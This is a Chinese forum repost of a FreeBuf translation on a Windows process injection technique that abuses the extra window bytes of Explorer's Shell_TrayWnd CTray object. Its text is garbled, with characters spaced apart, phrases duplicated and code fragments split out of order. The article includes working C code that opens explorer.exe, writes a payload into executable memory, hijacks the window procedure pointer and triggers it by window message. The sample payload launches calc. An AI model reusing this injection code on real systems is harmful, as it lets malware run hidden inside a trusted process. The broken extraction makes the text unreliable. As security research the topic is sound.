搜索

[13191] 2018-09-16_Windows进程注入技术：额外窗口字节能做很多事情

文档创建者：s7ckTeam
浏览次数：36
最后更新：2025-01-18
2018-09-16_Windows进程注入技术：额外窗口字节能做很多事情 W i n d o w s 进 程 注 入 技 术 ： 额 外 窗 口 字 节 能 做 很 多 事 情 A l p h a _ h 4 c k   F r e e B u f   2 0 1 8 - 0 9 - 1 6 介 绍 介 绍 W i n d o w s 进 程 注 入 技 术 之 所 以 被 众 人 所 知 ， 是 因 为 进 程 注 入 技 术 之 所 以 被 众 人 所 知 ， 是 因 为 2 0 1 3 年 肆 虐 网 络 的 年 肆 虐 网 络 的 P o w e r l o a d e r 恶 意 软 件 当 时 使 用 的 正 是 这 种 恶 意 软 件 当 时 使 用 的 正 是 这 种 技 术 。 在 此 之 前 ， 几 乎 没 有 人 知 道 这 种 进 程 注 入 技 术 ， 因 为 从 上 世 纪 技 术 。 在 此 之 前 ， 几 乎 没 有 人 知 道 这 种 进 程 注 入 技 术 ， 因 为 从 上 世 纪 8 0 年 代 到 年 代 到 9 0 年 代 初 期 ， 当 时 的 年 代 初 期 ， 当 时 的 W i n d o w s 操 操 作 系 统 就 已 经 引 入 了 这 种 作 系 统 就 已 经 引 入 了 这 种 “ 功 能 功 能 ” 。 额 外 窗 口 字 节 的 索 引 。 额 外 窗 口 字 节 的 索 引 0 值 可 以 用 来 跟 一 个 窗 口 的 类 对 象 进 行 关 联 ， 指 向 类 对 象 值 可 以 用 来 跟 一 个 窗 口 的 类 对 象 进 行 关 联 ， 指 向 类 对 象 的 指 针 是 使 用 的 指 针 是 使 用 S e t W i n d o w L o n g P t r 存 储 在 索 引 存 储 在 索 引 0 位 置 的 ， 并 通 过 位 置 的 ， 并 通 过 G e t W i n d o w L o n g P t r 来 获 取 。 来 获 取 。 早 在 2 0 0 9 年 的 W A S M 论 坛 上 ， 就 曾 有 一 位 名 叫 “ I n d y ( C l e r k ) ” 的 用 户 提 到 过 将 “ S h e l l _ T r a y W n d ” 类 作 为 一 种 注 入 向 量 来 使 用 。 下 图 显 示 的 就 是 “ S h e l l _ T r a y W n d ” 类 的 相 关 信 息 ， 你 可 以 看 到 窗 口 字 节 的 索 引 0 设 置 有 相 应 的 值 ： W i n d o w s S p y + + 在 这 里 并 不 能 显 示 完 整 的 6 4 位 值 ， 但 是 在 下 图 中 我 们 可 以 看 到 ， 它 显 示 了 G e t W i n d o w L o n g P t r   A P I 所 返 回 的 同 一 窗 口 的 值 （ C T r a y 对 象 的 完 整 地 址 ） ： C T r a y 类 类 这 个 类 中 只 有 三 个 方 法 ， 而 且 没 有 额 外 的 属 性 值 。 指 向 每 一 个 方 法 的 指 针 都 只 有 只 读 属 性 ， 所 以 我 们 不 能 直 接 将 指 向 W n d P r o c 的 指 针 重 写 并 让 它 指 向 我 们 的 P a y l o a d 。 因 此 ， 我 们 需 要 手 动 构 造 一 个 对 象 ， 但 是 我 认 为 另 一 种 比 较 好 的 方 法 是 将 现 有 对 象 拷 贝 到 本 地 内 存 之 中 ， 重 写 W n d P r o c ， 然 后 把 对 象 写 到 e x p l o r e r 内 存 中 的 一 个 新 的 位 置 。 下 面 的 结 构 体 可
以 用 来 定 义 我 们 所 需 要 的 对 象 及 指 针 ： 上 面 这 个 结 构 体 包 含 了 替 换 C T r a y 对 象 （ 包 括 3 2 位 和 6 4 位 操 作 系 统 ） 所 需 要 的 所 有 数 据 ， 3 2 位 系 统 中 U L O N G _ P T R 的 大 小 为 4 个 字 节 ， 6 4 位 系 统 则 是 8 个 字 节 。 P a y l o a d 这 种 方 法 跟 P R O P a g a t e 所 使 用 的 代 码 之 间 主 要 的 区 别 就 在 于 函 数 原 型 ， 如 果 在 函 数 将 返 回 值 传 递 给 调 用 者 时 我 们 不 提 供 相 同 数 量 的 参 数 ， 那 么 将 有 可 能 让 W i n d o w s   E x p l o r e r 崩 溃 ， 或 者 让 那 些 跟 这 个 类 有 关 联 的 窗 口 发 生 崩 溃 。 完 整 的 函 数 完 整 的 函 数 下 面 给 出 的 是 执 行 注 入 所 需 要 的 完 整 函 数 代 码 （ 位 置 无 关 代 码 P I C ） ， 这 里 为 了 方 便 演 示 ， 我 忽 略 了 错 误 处 理 ： 1 .   获 取 s h e l l   t r a y 窗 口 的 处 理 器 2 .   获 取 e x p l o r e r . e x e 的 进 程 I D 3 .   打 开 e x p l o r e r . e x e 4 .   获 取 指 向 当 前 C T r a y 对 象 的 指 针 / / C T r a y   o b j e c t   f o r   S h e l l _ T r a y W n d t y p e   d e f s t r u c t   _ c t r a y _ v t a b l e   {         U L O N G _ P T R   v T a b l e ;         / /   c h a n g e   t o   r e m o t e   m e m o r y   a d d r e s s         U L O N G _ P T R   A d d R e f ;         U L O N G _ P T R   R e l e a s e ;         U L O N G _ P T R   W n d P r o c ;       / /   w i n d o w   p r o c e d u r e   ( c h a n g e   t o   p a y l o a d ) } C T r a y ; L R E S U L T C A L L B A C K   W n d P r o c ( H W N D   h W n d ,   U I N T   u M s g ,     W P A R A M   w P a r a m ,   L P A R A M   l P a r a m ) {         / /   i g n o r e   m e s s a g e s   o t h e r   t h a n   W M _ C L O S E         i f   ( u M s g   ! =   W M _ C L O S E )   r e t u r n   0 ;         W i n E x e c _ t   p W i n E x e c ;         D W O R D         s z W i n E x e c [ 2 ] ,                             s z C a l c [ 2 ] ;         / /   W i n E x e c         s z W i n E x e c [ 0 ] = 0 x 4 5 6 E 6 9 5 7 ;         s z W i n E x e c [ 1 ] = 0 x 0 0 6 3 6 5 7 8 ;         / /   c a l c         s z C a l c [ 0 ]   =   0 x 6 3 6 C 6 1 6 3 ;         s z C a l c [ 1 ]   =   0 ;         p W i n E x e c   = ( W i n E x e c _ t ) x G e t P r o c A d d r e s s ( s z W i n E x e c ) ;         i f ( p W i n E x e c   ! =   N U L L )   {             p W i n E x e c ( ( L P S T R ) s z C a l c ,   S W _ S H O W ) ;         }         r e t u r n   0 ; } L P V O I D e w m ( L P V O I D   p a y l o a d ,   D W O R D   p a y l o a d S i z e ) {         L P V O I D       c s ,   d s ;         C T r a y         c t ;         U L O N G _ P T R   c t p ;         H W N D           h w ;         H A N D L E       h p ;         D W O R D         p i d ;         S I Z E _ T       w r ;         h w   =   F i n d W i n d o w ( " S h e l l _ T r a y W n d " , N U L L ) ;         G e t W i n d o w T h r e a d P r o c e s s I d ( h w ,   & p i d ) ;         h p   =   O p e n P r o c e s s ( P R O C E S S _ A L L _ A C C E S S ,   F A L S E , p i d ) ;
5 .   读 取 当 前 C T r a y 对 象 的 地 址 6 .   从 虚 拟 页 表 中 读 取 三 条 地 址 7 . 为 代 码 分 配 内 存 读 / 写 / 执 行 权 限 8 .   将 代 码 拷 贝 到 目 标 进 程 中 9 .   为 新 的 C T r a y 对 象 分 配 内 存 读 / 写 权 限 1 0 .   向 远 程 内 存 写 入 新 的 C T r a y 对 象 1 1 .   设 置 指 向 C T r a y 对 象 的 新 指 针 1 2 .   通 过 窗 口 消 息 触 发 P a y l o a d 1 3 .   恢 复 原 始 的 C T r a y 对 象 1 4 .   释 放 内 存 ， 关 闭 处 理 进 程 总 结 总 结 这 种 针 对 窗 口 对 象 的 进 程 注 入 技 术 通 常 会 被 归 类 为 “ S h a t t e r ” 攻 击 ， 虽 然 W i n d o w s   V i s t a 引 入 的 用 户 接 口 权 限 隔 离 （ U I P I ） 功 能 从 某 种 程 度 上 来 说 能 够 缓 解 这 种 攻 击 所 带 来 的 影 响 ， 但 最 新 版 本 的 W i n d o w s   1 0 操 作 系 统 仍 然 无 法 抵 御 这 种 类 型 的 攻 击 。 感 兴 趣 的 用 户 可 以 阅 读 原 文 阅 读 原 文 获 取 P a y l o a d 源 代 码 和 可 执 行 程 序 计 算 器 。 *   参 考 来 源 ： 参 考 来 源 ： m o d e x p ， ， F B 小 编 小 编 A l p h a _ h 4 c k 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M         c t p   =   G e t W i n d o w L o n g P t r ( h w ,   0 ) ;     R e a d P r o c e s s M e m o r y ( h p ,   ( L P V O I D ) c t p ,                   ( L P V O I D ) & c t . v T a b l e , s i z e o f ( U L O N G _ P T R ) ,   & w r ) ; R e a d P r o c e s s M e m o r y ( h p ,   ( L P V O I D ) c t . v T a b l e ,               ( L P V O I D ) & c t . A d d R e f ,   s i z e o f ( U L O N G _ P T R ) *   3 ,   & w r ) ;     c s   =   V i r t u a l A l l o c E x ( h p ,   N U L L ,   p a y l o a d S i z e ,               M E M _ C O M M I T   |   M E M _ R E S E R V E , P A G E _ E X E C U T E _ R E A D W R I T E ) ;         W r i t e P r o c e s s M e m o r y ( h p ,   c s ,   p a y l o a d , p a y l o a d S i z e ,   & w r ) ;   d s   =   V i r t u a l A l l o c E x ( h p ,   N U L L ,   s i z e o f ( c t ) ,               M E M _ C O M M I T   |   M E M _ R E S E R V E , P A G E _ R E A D W R I T E ) ; c t . v T a b l e   =   ( U L O N G _ P T R ) d s   +   s i z e o f ( U L O N G _ P T R ) ;         c t . W n d P r o c   =   ( U L O N G _ P T R ) c s ;         W r i t e P r o c e s s M e m o r y ( h p ,   d s ,   & c t , s i z e o f ( c t ) ,   & w r ) ;         S e t W i n d o w L o n g P t r ( h w ,   0 ,   ( U L O N G _ P T R ) d s ) ;         P o s t M e s s a g e ( h w ,   W M _ C L O S E ,   0 ,   0 ) ;         S e t W i n d o w L o n g P t r ( h w ,   0 ,   c t p ) ;       V i r t u a l F r e e E x ( h p ,   c s ,   0 ,   M E M _ D E C O M M I T   | M E M _ R E L E A S E ) ;         V i r t u a l F r e e E x ( h p ,   d s ,   0 ,   M E M _ D E C O M M I T   | M E M _ R E L E A S E ) ;           C l o s e H a n d l e ( h p ) ; }
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理